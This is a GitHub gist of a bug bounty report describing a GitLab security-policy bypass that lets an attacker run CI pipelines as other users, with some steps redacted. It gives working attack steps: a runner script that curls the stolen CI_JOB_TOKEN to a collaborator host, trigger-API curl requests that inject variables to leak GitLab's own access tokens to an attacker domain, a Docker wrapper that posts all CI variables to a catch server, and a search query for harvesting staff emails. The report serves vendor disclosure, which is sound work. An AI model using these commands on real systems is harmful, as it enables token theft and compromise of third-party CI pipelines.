Skip to content

Instantly share code, notes, and snippets.

@joaxcar

joaxcar/gitlab_writeup.md Secret

Created April 23, 2024 13:26
Show Gist options
  • Save joaxcar/9419b2df8778f26e9b02a741a8ec12f8 to your computer and use it in GitHub Desktop.
Save joaxcar/9419b2df8778f26e9b02a741a8ec12f8 to your computer and use it in GitHub Desktop.
Download ZIP
GitLab crit
Raw
gitlab_writeup.md

Initital report

Summary

There was a fix implemented in 16.2.2: an-attacker-can-run-pipeline-jobs-as-arbitrary-user where an attacker could run jobs as other users by modifying the policy project history. The fix that was implemented has two parts, GitLab switched the check from git history (which is spoofable) to merge history which should not be spoofable, but this fix was also overlayed with a new feature where the policy pipeline is instead run by a bot user that only have access to the project.

I have found a bypass to this fix, and I also think that the impact here (and in the original report) is higher than was stated for the previous bug. Using [[ REDACTED ]] to spoof the MR that configures the policy

[[ REDACTED ]] to spoof the MR author of the policy project. This will allow the attacker to run pipelines as any user on the instance.

Steps to reproduce

Create an attacker runner

The attacker needs to have access to a runner and use some form of VM to host the runner. You can use a Dropplet on any cloud provider or similar

  1. Log in and go to https://gitlab.example.com/shared_group/shared_project/-/settings/ci_cd and expand the runners tab
  2. Click "Create new project runner"
  3. Fill out the form, make sure to fill in the checkbox "Run untagged jobs"
  4. Follow the steps presented on the screen to Create and register a runner. When asked what executor to use make sure to select "shell"
  5. SSH into your runner machine and create a bash file named analyzer at root level /analyzer run
nano /analyzer

type this in the file

#!/bin/bash
curl https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}
sleep 3600

then run

root@ubuntu123$  chmod  +x  /analyzer
  1. The runner is ready. The bash script will leak the CI_JOB_TOKEN to your catch server and then sleep for an hour, making the token usable for the attacker

Preparations

[[ REDACTED ]]

  1. Click "New Policy" and select "Select Scan execution policy"
  2. Switch to .yaml mode and paste this YAML
---  
type: scan_execution_policy
name: test
description: hello
enabled: true
rules:
  - type: schedule
    branches:
      - test
    cadence: '*/16 * * * *'
actions:
  - scan: sast
    tags: []
  1. Select Configure with a merge request
  2. Select Merge.
  3. You should now have a project and a policy project in the spoof group

Attack

[[ REDACTED ]]

  1. Go to https://gitlab.com/NEWGROUP/project1/-/project_members and remove the bot user from the group
  2. Go to https://gitlab.com/NEWGROUP/project1/-/settings/ci_cd and add the attacker runner to this project
  3. Wait for 15 minutes or more and eventually you will get a request to your catch server like this https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN} copy the token and use it in this curl command

Impact

Using the leaked CI_JOB_TOKEN from the victim the attacker can clone private projects owned by the victim user (this is the high confidentiality). The job token also has access to trigger pipelines on these projects and add variables to the pipelines in private projects (this is the low integrity and scope change). I will go deeper into the impact here in a follow up comment.

What is the current bug behavior?

Allowing to "fallback" to MR author for pipeline creator opens up for two ways of running pipelines as other users

What is the expected correct behavior?

The policy pipelines should not allow to run pipelines as other users

Escalation

This is info for the GitLab triager, I will help the H1 triager in a follow up post

I want to expand on impact here as I found it strange that the last report that allowed execution of pipelines as another user only got rated as CVSS:5.3. This completely misses the integrity impact that a CI_JOB_TOKEN can have due to the trigger API.

I belive that I have found a chain that would allow me to trigger pipelines on gitlab-org/gitlab and most other GitLab owned projects. Running these pipelines would allow me to leak CI variables such as PROJECT_TOKEN_FOR_CI_SCRIPTS_API_UASGE which I belive contains an access token to gitlab scoped for the main repo.

First some notes on CI_JOB_TOKENS

The API endpoints available to a job token are limited and most of them are only scoped to the current project. These ones have little impact as the attacker already control the project where the spoofed pipeline is running. But there are (at least) two exceptions to this.

  1. Cloning other repositories not related to the current project
  2. Triggering pipelines in other projects not related to the current project

Both of these allow for an attacker to gain access to (cloning) data that the attacker does not have access to and to execute pipelines while overriding any pipeline variables. There are some mitigations in place but I belive the discussion in the fix for the previous report missed some important parts that does raise the impact here.

There is a switch that is turned on for new projects where you on a project level decide which other projects will have access to the project using job tokens. This effectively blocks any attacks like the once discussed here. However this is only on per default on newly created projects, leaving any older project vulnerable if the owner have not explicitly turned this feature on. This feature will become the default even for older projects in v17.0 but that is still months away.

Further more there actually exists a loophole in this protection that I think was missed in the discussion. The "block" is not affecting internal or public projects. This exception is not only for cloning (as cloning a public repo might be considered safe) but it also allow triggering of pipelines. Thus there are at least three situations where a job token still has a high impact even if this new block is in place (if an attacker can run the pipeline as a victim)

  1. An external user gaining access to internal projects (read repo and trigger pipelines of projects the user should not have access to)
  2. A non member of a public project with hidden repo (read repo and trigger pipelines)
  3. A non member of a regular project can abuse this to run pipelines in a public project (for example gitlab.com)

The impact of running a pipeline in a victim project should in my mind be at least integrity low but I would argue that the trigger API actually put integrity at high. This is due to how the API allows the attacker to set CI variables in the API call that will have the highest precedence when the pipeline runs, thus being able to alter everything from download paths, docker images, leak other CI variables and some times even achieve full RCE in the pipeline instance.

I would also argue that attack complexity should be low as the only information needed for the attacker is the victims email, and that can most of the time easily be obtained. Cloning a private project would require the attacker to know the path of the project, but this is bypassed by the same "trigger API" as that API just takes the project ID which is an integer that can be bruteforced. Also I think scope should be changed as the attacker can run pipelines in other projects an exfiltrate keys and secrets and potentially impact deploys and other CI build

This would put this report at CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N 9.6 Critical

Attacking gitlab-org/gitlab

I have some examples here from gitlab.com that showcase what an attacker could do with this today targeting Gitlab-org/gitlab

There are three steps to this

  1. obtain a user email from a gitlab team member
  2. find a vulnerable CI job to inject into
  3. find something dangerous to do

Find user email

Do a google search for this

site:gitlab.com "approved-by" "default avatar"

and you will get a list of email addresses of gitlab team members. This is due to some bot in some projects creting metadata when a commit is made. We can use Approved-by: default avatar Dominic Couture <dcouture@gitlab.com> for this attack for example

Find a place to inject

One job that seems to be running on all pipelines on Gitlab-org/gitlab is this code-quality one https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml

This config contains this line here

- docker pull --quiet "$CODE_QUALITY_IMAGE"

We could override the variable CODE_QUALITY_IMAGE and set it to attacker.com/leak:${ANY_CI_VARIABLE}. This would allow the attacker can extract secret variables from the target pipeline. The docker command will try to pull from our server and put the content of the ANY_CI_VARIABLE in the URL of the request

There are an unlimited amount of variations to this using the built in "nesting" of variables in GitLab. There are a lot of sinks to abuse, ranging from leaking variables like above, to full RCE on the build server using for example this line in https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/review-apps/qa.gitlab-ci.yml?ref_type=heads

   - eval "$QA_COMMAND"

and this in https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/workhorse.gitlab-ci.yml

  image: ${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images/debian-${DEBIAN_VERSION}-ruby-${RUBY_VERSION}-golang-${GO_VERSION}-rust-${RUST_VERSION}:rubygems-${RUBYGEMS_VERSION}-git-2.36-exiftool-12.60

I have not tested if these ones are possible to trigger, and there are multiple others in the source that could be used. I decided to stick to the code-quality one as it was easy enough and looks like its alway run.

Find something dangerous to do

The code quality one allows me to download any attacker controlled docker image into the pipeline. But it also allows for leaking variables as I shown. If you clone the gitlab repo and grep for variables used in CI containing the word token this is the result

grep -RE '\$\{.*}' ./.gitlab/ci -o | grep "TOKEN"

./.gitlab/ci/qa-common/main.gitlab-ci.yml:${QA_TEST_SESSION_TOKEN}
./.gitlab/ci/qa-common/main.gitlab-ci.yml:${GENERATE_TEST_SESSION_READ_API_REPORTER_TOKEN}
./.gitlab/ci/as-if-jh.gitlab-ci.yml:${ADD_JH_FILES_TOKEN}
./.gitlab/ci/as-if-jh.gitlab-ci.yml:${AS_IF_JH_TOKEN}
./.gitlab/ci/review-apps/main.gitlab-ci.yml:${PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE}" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/jobs/${review_stop_job_id}
./.gitlab/ci/review-apps/qa.gitlab-ci.yml:${REVIEW_APPS_ROOT_TOKEN}
./.gitlab/ci/review-apps/qa.gitlab-ci.yml:${QA_GITHUB_ACCESS_TOKEN}
./.gitlab/ci/global.gitlab-ci.yml:${PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE}" "${url}
./.gitlab/ci/rails/shared.gitlab-ci.yml:${TEST_FAILURES_PROJECT_TOKEN}
./.gitlab/ci/rails/shared.gitlab-ci.yml:${TEST_FAILURES_PROJECT_TOKEN}
./.gitlab/ci/rails/shared.gitlab-ci.yml:${TEST_FAILURES_PROJECT_TOKEN}

And PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE stands out as something interesting. Looking at some discussion on gitlab.com this token looks like its being populated with a live access token to be able to read and write to the project (full API access). So I chose that as the attack

The attack

We now have an employee email and a sink and a secret we want to extract. The attacker would now need to do this:

  1. Find a user to attack using google
  2. Follow the steps from above to set up the attack and to acquire a CI_JOB_TOKEN that is scoped to the victim but running in the attackers project.
  3. Take the token and make this request with curl (note that the ATTACKER_DOMAIN here needs to be an URL without a protocol like attacker.com no https://)
CI_JOB_TOKEN=<THE TOKEN>
ATTACKER_DOMAIN=<ATTACKER CATCH SERVER>
curl --request POST \
--form "token=$CI_JOB_TOKEN" \
--form ref=master \
--form "variables[CODE_QUALITY_IMAGE]=$ATTACKER_DOMAIN/hack:\${PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE}" \
"https://gitlab.com/api/v4/projects/278964/trigger/pipeline"

It might be that triggering pipelines directly on master is not allowed, then find another branch to use. 3. Wait for the pipeline to send the PROJECT_TOKEN_FOR_CI_SCRIPTS_API_USAGE to the catch server

I have validated that this works on my own project, using the same code-quality pipeline. There might be other mitigations in place for gitlab but I belive that this proves that it can be done, an attacker just need to find the right parameters.

Hope this helps to clarify the impact. I am more than happy to help out with any questions or recording a video if needed

/Johan

A better POC

Hi again @fveillettepotvin I think my latest commend might have not given a clear picture, so I will add a clarification after doing some additional digging this weekend. I have also created a more reliable attack POC that is able to extract all CI variables from most Gitlab-org projects in one go

The other path to exploit

My comment above mentioned what project a project can use as policy project. This is related to what I meant with "two ways to exploit this". I have tried to go to the root cause of this. The problem as I see it is from the fix for the policy assign bug in 16.2.2 fixed here https://gitlab.com/gitlab-org/gitlab/-/commit/5564547ac37f5f80c58f444778bdaf3e3a491ff7 The fix added this line

authorize!(policy_project)

The will block projects from adding ANY project as the policy project to the attacker project. But it still allows any project that the attacker have any access to (this includes guest role, AKA public projects).

In gitlab.com (SAAS) there is an additional restriction that block assignment of policy project outside of the top level group, but on self hosted there is no such restriction. Using the described "assign a policy project and then delete the bot user" attack we now have these two escalations

  1. (on SAAS) A user that is maintainer of a subproject can connect this project to any other public policy project in the top level group and run a pipeline as the user that created that policy
  2. (on self hosted) A user that can create its own project can connect this project to any public policy project and run pipelines as the user that created that project.

A quick example. Say that I would be a maintainer of a project under gitlab-org (without a membership of the top group). I could connect my project to this policy project https://gitlab.com/gitlab-org/govern/security-policies/andys-test-group/verify-issue-409459-security-policy-project to run pipelines as this user https://gitlab.com/Andysoiron

The big problem here is that the connection and the outcome is a bit miss-directed. Anyone exposing a policy project is subject to "pipeline account takeover" even if you stop the "import bug". This is due to how projects connect to pipeline project without the pipeline project having any say in who connects.

A safer way to do this would be to allow any project to connect but the pipelines being run as someone from inside the connecting project. This is how it works as long as the bot user is present. But as soon as the bot is removed the connection is misdirected. If the connection would be the other way around there might still exists a "takeover" between maintainers in the same project, but this is of much lower risk as the trust is already high.

As you can see in point 2 above this gets even worse in a self hosted setting where the attacker does not even need to be in the same top level group.

A better POC

Just to showcase the impact of the original report (and what can be used against Gitlab-org/gitlab) in an easier to comprehend way.

  1. Create a new group (call it attacker group)
  2. Create a project in the new group called secrets
  3. Create two files analyzer (replace <CATCH SERVER>
#! /bin/bash
curl -X POST -d "$(env)"  https://<CATCH SERVER>
/old-analyzer run

Dockerfile

FROM registry.gitlab.com/gitlab-org/security-products/analyzers/secrets:latest
RUN apk add --no-cache bash
RUN apk add --no-cache curl
RUN mv /analyzer /old-analyzer
COPY analyzer /
RUN chmod +x /analyzer
  1. Create a CI config (using config editor) using the docker build template from https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml
  2. Wait for it to build and commit an image to the gitlab registry
  3. Go to https://gitlab.com/attacker_group/secrets/container_registry and find the latest image copy the image path
  4. Use this command when doing an attack described above but with some new variables (replace SCRIPT PROJECT IMAGE PATH with registry.gitlab.com/attacker_group or what the path is, omit /secrets:latest)
CI_JOB_TOKEN=<THE TOKEN>
ATTACKER_DOMAIN=<ATTACKER CATCH SERVER>
curl --request POST \
--form "token=$CI_JOB_TOKEN" \
--form ref=master \
--form "variables[SECRETS_ANALYZER_VERSION]="latest" \
--form "variables[SECRET_DETECTION_IMAGE_SUFFIX]="" \
--form "variables[SECURE_ANALYZERS_PREFIX]="<SCRIPT PROJECT IMAGE PATH>" \
"https://gitlab.com/api/v4/projects/278964/trigger/pipeline"

This attack will abuse the secrets_detection job that is using the template https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml and is used in most Gitlab-org projects. The POC will generate a "wrapper" to the original secret detection image that first leaks ALL CI variables before running the original analyzer script. The pipeline will run as normal and it will be harder to identify that this pipeline run is malicious.

This is my example project https://gitlab.com/ultimatetest2023/secrets

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment